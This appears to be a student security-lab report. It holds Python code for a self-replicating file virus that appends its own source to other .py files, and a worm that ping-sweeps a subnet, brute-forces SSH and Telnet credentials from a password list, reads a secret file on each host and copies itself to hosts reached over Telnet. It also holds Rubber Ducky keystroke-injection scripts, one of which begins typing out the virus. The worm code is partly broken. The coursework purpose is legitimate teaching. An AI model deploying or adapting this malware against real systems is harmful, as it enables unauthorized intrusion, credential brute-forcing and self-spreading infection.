Pham Hoang Long Do
phl21002

Lab 2

Erdei Andrew
ase20006

Question 1

- Approval code for Pham Hoang Long Do: `770VBM`
- Approval code for Erdei Andrew: `1SGQSX`

Q1A

Python 1: Q1-A

```python
import os
files = []
with open("files_in_dir", "w") as f:
    for file in os.listdir():
        if file == "Q1A.py":
            continue
        elif os.path.splitext(file)[1] == ".py":
            files.append(file)
            f.write(file + "\n")

print(files)
```

Q1B

Python 2: Q1-B

```python
import os
import sys

def payload(file_name): # file_name is a ".py" file in the current directory
        if os.path.splitext(sys.argv[0])[1] == ".py": #Check if the current file
                                                      is a python file
            if file_name != "Q1A.py": #Check if the current file is a virus yet
                with open("Q1B.out", "a") as f:
                    f.write("subprocess.run(['python3', 'Q1B.py'],
                                capture_output=True, text=True)")

if __name__ == '__main__':
    payload(sys.argv[1])
```

Pham Hoang Long Do
phl21002

Lab 2

Erdei Andrew
ase20006

Q1C

Python 3: Q1-C

```
import os
import sys

def scan():
    # files = []
    with open("files_in_dir", "w") as f:
        for file in os.listdir():
            if file in infected:
                continue
            elif os.path.splitext(file)[1] == ".py":
                # files.append(file)
                f.write(file + "\n")
        f.close()
def payload(file_names): # file_name is a ".py" file in the current directory
    # for file in file_names:
        # if os.path.splitext(file)[1] == ".py": #check if the current file is a python file
            if file not in infected: #check if the current file is a virus yet
                with open("q1c.out", "a") as f:
                    # f.write("import sys ")
                    for arg in sys.argv:
                        f.write(arg + " ")
                    f.write("\n")
                    f.close()

def copy(filename):
    file = open("q1c.py")
    data = file.read()
    file.close()
    fout = open(filename,"a")
    fout.write(data)
    fout.close()
if __name__ == '__main__':
    infected = []
    infected.append(sys.argv[0].strip("\n"))
    infected.append("q1a.py")
    infected.append("q1b.py")
    scan()
    with open("files_in_dir", "r") as f:
        for file in f:
            if file.strip("\n") not in infected:
                payload(file.strip("\n"))
                copy(file.strip("\n")) #keep the spreading function
                infected.append(file.strip("\n"))
```

Q1 demo{:style="color: blue"}

Question 2

Python 4: Q2-worm

```
import telnetlib
import socket
    import concurrent.futures
    import paramiko
    import subprocess
    import time

    logins = []
    with open('./Q2pwd', 'r') as f:
        for line in f:
            login = line.strip().split(" ")
            logins.append(login)

    valid_ips = []

    # Scan for valid IP addresses using ping
    for i in range(256):
        address = f"172.16.48.{i}"
        with subprocess.Popen(['ping', '-c', '2', address], stdout=subprocess.PIPE) as proc:
            try:
                output = proc.communicate(timeout=5)[0].decode('utf-8')
                if " 0% packet loss" in output:
                    valid_ips.append(address)
            except subprocess.TimeoutExpired:
                proc.kill()
                proc.communicate()
            except:
                pass

    valid_ssh_ips = []
    valid_telnet_ips = []

    # Check which valid IPs have open SSH or Telnet ports
    with concurrent.futures.ThreadPoolExecutor(max_workers=8) as executor:
        futures = []
        for ip in valid_ips:
            futures.append(executor.submit(socket.connect_ex, ip, 22))
            futures.append(executor.submit(socket.connect_ex, ip, 23))
        for i, future in enumerate(concurrent.futures.as_completed(futures)):
            port = 22 if i % 2 == 0 else 23
            if future.result() == 0:
                if port == 22:
                    valid_ssh_ips.append(valid_ips[i//2])
                else:
                    valid_telnet_ips.append(valid_ips[i//2])

    # Attempt to log in to each valid IP address using each user/password combination
    with concurrent.futures.ThreadPoolExecutor(max_workers=8) as executor:
        futures = []
        for login in logins:
            for ip in valid_ssh_ips:
                futures.append(executor.submit(run_ssh, login, ip))
```

```
            for ip in valid_telnet_ips:
                futures.append(executor.submit(run_telnet, login, ip))
        for future in concurrent.futures.as_completed(futures):
            try:
                result = future.result()
            except Exception as e:
                print(f'Error: {e}')

    def run_telnet(login, ip):
        try:
            with telnetlib.Telnet(ip, timeout=5) as tn:
                tn.read_until(b"login: ")
                tn.write(f"{login[0]}\n".encode())
                if login[1]:
                    tn.read_until(b"Password: ")
                    tn.write(f"{login[1]}\n".encode())
                tn.write(b"cat Q2secret\n")  # get secret
                tn.write(b"exit\n")
                output = tn.read_all().decode('ascii')
                if 'Permission denied' not in output and "Login incorrect" not in output:
                    # strip output and save to file
                    secret = output.split()[-1].strip()
                    print(f'[TELNET] Found secret "{secret}"
                                            via {ip} with user/pass {login[0]}:{login[1]}')
                    with open('./Solutions/Q2secrets', 'a') as f:
                        f.write(secret + '\n')
                    with open('Q2worm.py', 'rb') as f:  # copy worm
                        tn.write(b"cat > Q2worm.py\n")
                        tn.write(f.read())
                        tn.write(b"\n")
                        tn.write(b"exit\n")
                        print(f"Wrote worm to ip address: {ip}")
                return True
        except:
            return False


    def run_ssh(login, ip):
        try:
            c = paramiko.SSHClient()
            c.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            c.connect(ip, username=login[0], password=login[1],
                      timeout=20, banner_timeout=10000)
            _, output, _ = c.exec_command('cat Q2secret')
            secret = output.read().decode().strip()
            print(
                f'[SSH] Found secret \"{secret}\" via {ip} with
                                        user/pass {login[0]}:{login[1]}')
            with open('./Solutions/Q2secrets', 'a') as f:
                f.write(secret + '\n')
            c.close()
            return True
        except:
            # print(f"[SSH] error: {ip}  {login[0]}:{login[1]}")
            return False
```

```
if __name__ == '__main__':
    processes = []
    with multip.Pool(processes=8) as pool:
        for login in logins:
            for ip in valid_ssh_ips:
                processes.append(pool.apply_async(run_ssh, (login, ip)))
            for ip in valid_telnet_ips:
                processes.append(pool.apply_async(run_telnet, (login, ip)))
        for p in processes:
            p.wait()
```

Q2 demo

Quesion 3

- Content for Ducky script:

```
GUI r
DELAY 1000
STRING Notepad
DELAY 1500
ENTER
DELAY 1000
STRING start cmd /k echo Andrew
DELAY 1000
ALT
DELAY 1500
ENTER
DELAY 1000
DOWN
DELAY 1000
DOWN
DELAY 1000
DOWN
DELAY 1000
DOWN
DELAY 1500
ENTER
DELAY 1500
ENTER
DELAY 1000
STRING Q3.bat
DELAY 1500
ENTER
DELAY 1000
GUI r
DELAY 1000
STRING cmd
DELAY 1500
ENTER
DELAY 1000
STRING C:\Users\andre\OneDrive\Documents\Q3.bat
DELAY 1500
ENTER
```

Q3 demo

Question 4

- Content for Ducky script:

```
GUI r
DELAY 1000
STRING Notepad
DELAY 1500
ENTER
DELAY 1000
STRING print("Hello World")
DELAY 1000
ALT
DELAY 1500
ENTER
DELAY 1000
DOWN
DELAY 1000
DOWN
DELAY 1000
DOWN
DELAY 1000
DOWN
DELAY 1500
ENTER
DELAY 1500
ENTER
DELAY 1000
STRING hello.py
DELAY 1500
ENTER
DELAY 1000
GUI r
DELAY 1000
STRING cmd
DELAY 1500
ENTER
DELAY 1000
STRING cd C:\Users\andre\OneDrive\Documents
DELAY 1500
ENTER
DELAY 1000
STRING python hello.py
DELAY 1500
ENTER
```

Q4 demo

Question 5

- Content for Ducky script:

```
GUI r
DELAY 700
STRING Notepad
DELAY 700
ENTER
DELAY 700
STRING import os
DELAY 700
ENTER
DELAY 700
STRING import sys
DELAY 700
ENTER
DELAY 700
ENTER
DELAY 700
STRING def scan():
DELAY 700
ENTER
DELAY 700
TAB
DELAY 700
STRING #files = []
DELAY 700
ENTER
DELAY 700
TAB
DELAY 700
STRING with open("files_in_dir", "w") as f:
DELAY 700
ENTER
DELAY 700
TAB
DELAY 700
TAB
DELAY 700
STRING for file in os.listdir():
DELAY 700
ENTER
DELAY 700
TAB
DELAY 700
```

```
TAB
DELAY 700
TAB
DELAY 700
STRING if file in infected:
DELAY 700
ENTER
DELAY 700
TAB
DELAY 700
TAB
DELAY 700
TAB
DELAY 700
TAB
DELAY 700
TAB
DELAY 700
STRING continue
DELAY 700
ENTER
DELAY 700
TAB
DELAY 700
TAB
DELAY 700
TAB
DELAY 700
STRING elif os.path.splitext(file)[1] == ".py":
DELAY 700
ENTER
DELAY 700
TAB
DELAY 700
TAB
DELAY 700
TAB
DELAY 700
TAB
DELAY 700
TAB
DELAY 700
STRING f.write(file + "\n")
DELAY 700
ENTER
DELAY 700
TAB
DELAY 700
TAB
```

```
DELAY 700
STRING f.close()
DELAY 700
ENTER
DELAY 700
STRING def payload(file_names): # file_name is a ".py" file in the current directory
DELAY 700
ENTER
DELAY 700
TAB
DELAY 700
STRING # for file in file_names:
DELAY 700
```

Q5 demo